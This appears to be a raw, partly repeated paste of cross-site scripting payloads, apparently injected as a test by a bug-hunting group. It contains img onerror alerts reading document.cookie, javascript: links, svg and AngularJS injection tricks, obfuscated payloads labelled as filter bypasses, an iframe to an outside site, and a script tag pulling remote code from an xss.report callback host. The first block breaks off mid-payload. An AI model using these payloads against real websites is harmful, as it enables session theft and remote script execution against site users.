TEST<br><br><center><font color="red">bughunt-borneo.org<br><br><img src=x onerror=alert(document.cookie)><br><br><img src=x onerror=alert(document.domain)> 2. <a href=javascript​:alert('hacked')>Click Here</a> 1. '"><svg><animate onbegin​=alert('hacked'

TEST<br><br><center><font color="red">bughunt-borneo.org<br><br><img src=x onerror=alert(document.cookie)><br><br><img src=x onerror=alert(document.domain)> 2. <a href=javascript​:alert('hacked')>Click Here</a> 1. '"><svg><animate onbegin​=alert('hacked') attributeName=x></svg> 3. <IFRAME SRC=https://borneosec.id/google.html></IFRAME> 4.<div ng-app> <strong class="ng-init:constructor.constructor('alert('hacked')')()">aaa</strong> </div> 5.<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS​=alert`hacked` // '"><script src=https://xss.report/c/dani1337></script> XSS WAF Bypass payloads '"><script src=https://xss.report/c/dani1337></script>

xa